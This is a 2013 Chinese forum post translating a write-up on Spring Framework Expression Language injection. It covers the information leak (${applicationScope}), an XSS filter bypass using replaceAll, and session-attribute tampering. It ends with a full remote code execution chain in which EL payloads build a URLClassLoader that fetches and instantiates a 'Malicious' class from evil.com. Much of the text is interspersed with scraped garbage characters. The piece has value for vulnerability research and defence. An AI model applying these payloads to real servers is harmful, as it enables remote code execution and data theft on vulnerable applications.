找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2328|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with
; i# R  P) k9 J2 ?3 QExpression Language Injection5 f$ O4 L* O6 b, z" H; H
Spring Framework脆弱性—DanAmodio
% W* {  e# b9 H全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
$ x8 l' H- d/ Q+ F  o! ]可能会存在风险。
1 `. _" ]. V+ s/ N+ M  J; F在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
  w/ E, A- C) a! a) J1 N3 ^" F# E  dArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可" f8 D. t' Z1 N  ]' C0 Q
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,/ B! H7 K# P/ n! K: \8 R, P: g% L
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
" O% s8 K, H, G7 C! n3 H版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
& }  Z6 f. D/ U/ E& |. J由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
$ T/ |4 [& A" Y6 B# U* A: Q. v我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版% \4 e6 c! w0 u7 \4 P
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。5 H5 a9 V1 B( W5 n
这些版本不支持禁用double EL resolution.0 w: o! x  o' D7 y7 a  ]. q) k$ j7 J
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含3 B' b0 h: w& B5 l2 O6 s
EL2.2容器上可能进行远程代码执行。
4 M! X$ H) d$ V" G& U" h# u+ n这是一个原始信息泄露的攻击例子:+ s) ^( R/ z9 y) F! e4 |
请求:
; f  h6 r: |$ Nttp://vulnerable.com/foo?message=${applicationScope}
* q; S# X: W( H4 A, |7 w; B到达以下内容页面:
& C+ _1 V8 w( a9 s6 ~4 A; U: Q% @结果将输出一些包含内部服务器信息calsspath 和本地工作目录/ p! g; }9 B7 }+ E
你也可以做一些其他事情,如这样:
, D2 K" f2 J! t$ u3 A${9999+1}0 A' ~7 q5 A& G, q- }; `
还可以访问session 对象和beans$ h6 x6 A. o+ k& M5 p# x$ f
${employee.lastName}/ n7 E* [) C& X# T
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是, [7 ]1 Y8 ?  \+ h
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
$ @3 |9 q* o/ s( L西,比如XSS.$ p. l/ m9 e, ]. B1 D6 u0 f, E
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
5 u6 p+ o- y5 @* d* `3 z突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤8 J: r4 B7 S5 o* ]5 q2 O
呢?”
0 {3 t' I9 \, H0 J7 ^. ]; u因此,我尝试巳缦拢�3 K" t5 b& \4 r4 r' a
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
+ e+ A% ^. }5 Y  j! E1 k7 _+ jP
  d2 U8 a( N% i- {% N& p, C8 _我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返; J0 `8 K  P- |. s
回的文本被插入进了spring:message 标签。
' F, t6 E% Y+ c5 h! H这里是一个最终绕过过滤的实例:  ^" G: w8 O4 A  W" s( \5 n+ f
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
- L" n' N1 ]' t" j+ y: A% U' ^它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为; U% N1 G  r; n3 j
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
$ u: c( F3 C1 w! L3 g& v) ~经过一番研究,我学习到EL2.2 增加了方法调用。
$ S: J9 Z( v0 C, s8 v我写了一个快速测试应用程序代码并且检测一些功能& M& e& h) {! _. a+ y3 g* e4 }
${pageContext.request.getSession().setAttribute(“account”,”123456″)}
2 }# q/ b' U( s2 j${pageContext.request.getSession().setAttribute(“admin”,true)}6 k: i1 r" F6 N( d4 k3 k: j5 V
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
+ }- _. R9 i$ k' C: Y$ F" \& S指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
3 n  ^  ~- C+ D${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1! m& G$ c9 }# j6 S
“, 1234)}; o0 `  z' X. J3 [
${“”.getClass().forName(“java.lang.Runtime”)}1 K- z: x' A$ O8 S$ O8 \
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不% r* Z( i2 ~. b5 U( M
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函- x1 L( k  C+ x$ n
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
- |8 x, g- R+ U1 W& m5 i* I# `6 z- V一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
6 B% K6 o) p! l$ u方法签名invoke(Object obj, Object„ args)2 l; B' a1 J) W' @' U
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
# y! s! ~1 `; E/ i1 }题,以让它可以工作起来。
; q5 ^* }- r4 {3 @) O( o& a漏洞利用:* f( h6 ]# D  U6 U
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我! d  l* a  |" R8 ]% J5 j) t& f
希望你们中的一些JAVA奇才告诉我我是如此的可笑。# M, p. P% D1 q* A- `0 ^
这里有一些我试过的失败的用例,为了试图让它工作的用例:
$ I( O7 u( D$ Z1 r1 q; v7 K 写文件到文件系统3 Y3 q. E( T$ n
 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.: d! ?  C$ E+ K8 L1 Q# J
我认为这些可以很好的工作,但是我不能找到合适的类来载入。" }$ t/ S( j6 |+ u& {0 E1 X
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
& D: f$ I% \8 v+ ^( ujavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
  x7 B- T6 k/ Zorg.springframework.expression.spel.standard.SpelExpressionParser not found
" w% O; C0 j# C4 S1 Q0 u6 `9 d. d# tby% G, L, s. k* n0 C+ G
org.glassfish.web.javax.servlet.jsp [194].
: U1 k% ?: X/ Y+ k1 F9 x 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
4 z7 D, ]# o+ ^1 q% t5 i5 { 利用反射来创建一个新的Runtime(and watch the world burn)
6 }2 n+ T5 O' b) Q${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
' D2 \' `, N5 m1 [, L+ [(“java.lang.Runtime”)).getDeclaredConstructors()[0])}: n  ~, I0 ]: Z; \% d$ ?* u5 C
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}' Z" }" r* v7 V2 r& u
 使用java.lang.ProcessBuilder9 n$ r. N1 ]2 v& y" i4 r2 e& r* M
 用表达式语言来评估表达式语言) b- f, K" `6 C0 z' F
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
  q! B9 C" I- q+ `8 ~% F& @${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
2 r0 y# g, R( W9 S( a6 i“,”".getClass(),null)}
8 j- m6 l. M# J; k* W/ L 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
' ^% C6 E- t$ J+ P6 @我在使用一个空数组通过Method.invoke()时失败了很多次
" T4 K; F! u6 p# S& J, U“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
% R5 z" ^9 {6 D7 q.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A* M) [/ [& X* S# n
rrayList”).newInstance().toArray())+ l5 D8 z+ d8 q& q7 G
java.lang.IllegalArgumentException: wrong number of arguments8 ^9 n, ^" N" L6 F  @0 o( E4 W9 t
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可- ^1 h) H+ R: [5 y
以创建一个恶意class文件并且指向类装载器.
* o% l0 b* d2 N我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:3 N0 K2 J8 C6 |% R) M5 b
public class Malicious {3 p% s. o- {# N! g4 u( X
public Malicious() {
- I+ O  u9 s/ k0 l! ~: H2 ]1 Gtry {
& V" |9 N/ t  h9 Yjava.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac0 L1 r0 L* L/ N6 B
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win+ w1 i% F/ X- q" D9 ?5 s
} catch (Exception e) {! M0 h5 w1 H  l9 {0 N7 b
}; G+ {* t: `6 W8 |5 _' `
}* V! e8 y9 {  W( |+ W
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回3 A# R2 S7 ?; }' u: r
话中,因此它可以被使用.
. F4 Y& h5 P/ f5 ~# k  d  [${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName; _% F( c0 o! f* C" {
(“java.util.ArrayList”).newInstance())}3 B+ S% q$ C* I
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建7 u- i* \3 n2 }+ z: M, o
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
0 L* l* z3 X! l/ mgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
6 v/ W. f8 a" S' Q( w2 H我们可以调用的create(string)方法,然后转换对一个URL对象。
3 }! t7 n% A$ a- ?${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh8 W; e' u, i0 s& @7 Z! m$ K, m' ~
ere/malicious/classfile/is/located/”).toURL())}* U8 d! ~4 X3 i0 d$ r
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
8 W. z' Q' V9 m恶意类文件被装载并创建,触发远程代码.
8 j8 H$ N/ q2 c+ j${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte4 f7 I* m- ?  B. k) X
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().$ X( a0 I) W& G& d3 d
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance  w, G& T" S4 T5 S# P# }
()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表